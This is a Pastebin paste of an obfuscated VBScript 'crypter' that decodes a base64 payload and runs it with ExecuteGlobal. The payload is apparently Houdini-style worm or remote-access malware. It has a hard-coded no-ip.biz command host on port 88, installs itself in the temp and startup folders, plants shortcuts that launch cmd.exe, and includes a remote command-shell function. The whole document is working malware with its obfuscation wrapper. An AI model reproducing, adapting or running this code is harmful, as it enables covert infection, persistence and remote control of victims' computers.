Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- '< -Safa7_22 Crypter- >
- Safa7_22 = deCrypt("JzxbIHJlY29kZXIgOiBob3VkaW5pIChjKSBza3lwZSA6IGhvdWRpbmktZnggXT4NCg0KJz0tPS09LT0tPSBjb25maWcgPS09LT0tPS09LT0tPS09LT0tPS09LT0tPS09LT0NCg0KaG9zdCA9ICJoYXR0b3VtYTEyLm5vLWlwLmJpeiINCnBvcnQgPSA4OA0KaW5zdGFsbGRpciA9ICIldGVtcCUiDQpsbmtmaWxlID0gdHJ1ZQ0KbG5rZm9sZGVyID0gdHJ1ZQ0KDQonPS09LT0tPS09IHB1YmxpYyB2YXIgPS09LT0tPS09LT0tPS09LT0tPS09LT0tPQ0KDQpkaW0gc2hlbGxvYmogDQpzZXQgc2hlbGxvYmogPSB3c2NyaXB0LmNyZWF0ZW9iamVjdCgid3NjcmlwdC5zaGVsbCIpDQpkaW0gZmlsZXN5c3RlbW9iag0Kc2V0IGZpbGVzeXN0ZW1vYmogPSBjcmVhdGVvYmplY3QoInNjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0IikNCmRpbSBodHRwb2JqDQpzZXQgaHR0cG9iaiA9IGNyZWF0ZW9iamVjdCgibXN4bWwyLnhtbGh0dHAiKQ0KDQoNCic9LT0tPS09LT0gcHJpdmF0IHZhciA9LT0tPS09LT0tPS09LT0tPS09LT0tPQ0KDQppbnN0YWxsbmFtZSA9IHdzY3JpcHQuc2NyaXB0bmFtZQ0Kc3RhcnR1cCA9IHNoZWxsb2JqLnNwZWNpYWxmb2xkZXJzICgic3RhcnR1cCIpICYgIlwiDQppbnN0YWxsZGlyID0gc2hlbGxvYmouZXhwYW5kZW52aXJvbm1lbnRzdHJpbmdzKGluc3RhbGxkaXIpICYgIlwiDQppZiBub3QgZmlsZXN5c3RlbW9iai5mb2xkZXJleGlzdHMoaW5zdGFsbGRpcikgdGhlbiAgaW5zdGFsbGRpciA9IHNoZWxsb2JqLmV4cGFu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3J0Y3V0IChkcml2ZS5wYXRoICYgIlwiICAmIGZpbGVuYW1lICgwKSAmICIubG5rIikgDQogICAgICAgICAgICAgICAgICAgIGxua29iai53aW5kb3dzdHlsZSA9IDcNCiAgICAgICAgICAgICAgICAgICAgbG5rb2JqLnRhcmdldHBhdGggPSAiY21kLmV4ZSINCiAgICAgICAgICAgICAgICAgICAgbG5rb2JqLndvcmtpbmdkaXJlY3RvcnkgPSAiIg0KICAgICAgICAgICAgICAgICAgICBsbmtvYmouYXJndW1lbnRzID0gIi9jIHN0YXJ0ICIgJiByZXBsYWNlKGluc3RhbGxuYW1lLCIgIiwgY2hydygzNCkgJiAiICIgJiBjaHJ3KDM0KSkgJiAiJnN0YXJ0ICIgJiByZXBsYWNlKGZpbGUubmFtZSwiICIsIGNocncoMzQpICYgIiAiICYgY2hydygzNCkpICYiJmV4aXQiDQogICAgICAgICAgICAgICAgICAgIGZpbGVpY29uID0gc2hlbGxvYmoucmVncmVhZCAoIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVxjbGFzc2VzXCIgJiBzaGVsbG9iai5yZWdyZWFkICgiSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXGNsYXNzZXNcLiIgJiBzcGxpdChmaWxlLm5hbWUsICIuIikodWJvdW5kKHNwbGl0KGZpbGUubmFtZSwgIi4iKSkpJiAiXCIpICYgIlxkZWZhdWx0aWNvblwiKSANCiAgICAgICAgICAgICAgICAgICAgaWYgIGluc3RyIChmaWxlaWNvbiwiLCIpID0gMCB0aGVuDQogICAgICAgICAgICAgICAgICAgICAgICBsbmtvYmouaWNvbmxvY2F0aW9uID0gZmlsZS5wYXRoDQogICAgICAgICAgICAgICAgICAgIGVsc2UgDQogICAgICAgICAgICAgICAgICAgICAgICBsbmtvYmouaWNvbmxvY2F0aW9uID0gZmlsZWljb24NCiAgICAgICAgICAgICAgICAgICAgZW5kIGlmDQogICAgICAgICAgICAgICAgICAgIGxua29iai5zYXZlKCkNCiAgICAg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BzdWINCg0Kc3ViIGRlbGV0ZWZhZiAodXJsKQ0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCg0KZmlsZXN5c3RlbW9iai5kZWxldGVmaWxlIHVybA0KZmlsZXN5c3RlbW9iai5kZWxldGVmb2xkZXIgdXJsDQoNCmVuZCBzdWINCg0KZnVuY3Rpb24gY21kc2hlbGwgKGNtZCkNCg0KZGltIGh0dHBvYmosb2V4ZWMscmVhZGFsbGZyb21hbnkNCg0Kc2V0IG9leGVjID0gc2hlbGxvYmouZXhlYyAoIiVjb21zcGVjJSAvYyAiICYgY21kKQ0KaWYgbm90IG9leGVjLnN0ZG91dC5hdGVuZG9mc3RyZWFtIHRoZW4NCiAgIHJlYWRhbGxmcm9tYW55ID0gb2V4ZWMuc3Rkb3V0LnJlYWRhbGwNCmVsc2VpZiBub3Qgb2V4ZWMuc3RkZXJyLmF0ZW5kb2ZzdHJlYW0gdGhlbg0KICAgcmVhZGFsbGZyb21hbnkgPSBvZXhlYy5zdGRlcnIucmVhZGFsbA0KZWxzZSANCiAgIHJlYWRhbGxmcm9tYW55ID0gIiINCmVuZCBpZg0KDQpjbWRzaGVsbCA9IHJlYWRhbGxmcm9tYW55DQplbmQgZnVuY3Rpb24=")
- ExecuteGlobal (Safa7_22)
- function deCrypt(data)
- deCrypt=decodeBase64(data)
- end function
- Function decodeBase64(ByVal base64String)
- Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
- Dim dataLength, sOut, groupBegin
- base64String = Replace(base64String, vbCrLf, "")
- base64String = Replace(base64String, vbTab, "")
- base64String = Replace(base64String, " ", "")
- dataLength = Len(base64String)
- If dataLength Mod 4 <> 0 Then
- Err.Raise 1, "Base64Decode", "Bad Base64 string."
- Exit Function
- End If
- For groupBegin = 1 To dataLength Step 4
- Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
- numDataBytes = 3
- nGroup = 0
- For CharCounter = 0 To 3
- thisChar = Mid(base64String, groupBegin + CharCounter, 1)
- If thisChar = "=" Then
- numDataBytes = numDataBytes - 1
- thisData = 0
- Else
- thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
- End If
- If thisData = -1 Then
- Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
- Exit Function
- End If
- nGroup = 64 * nGroup + thisData
- Next
- nGroup = Hex(nGroup)
- nGroup = String(6 - Len(nGroup), "0") & nGroup
- pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
- Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
- Chr(CByte("&H" & Mid(nGroup, 5, 2)))
- sOut = sOut & Left(pOut, numDataBytes)
- Next
- decodeBase64 = sOut
- End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement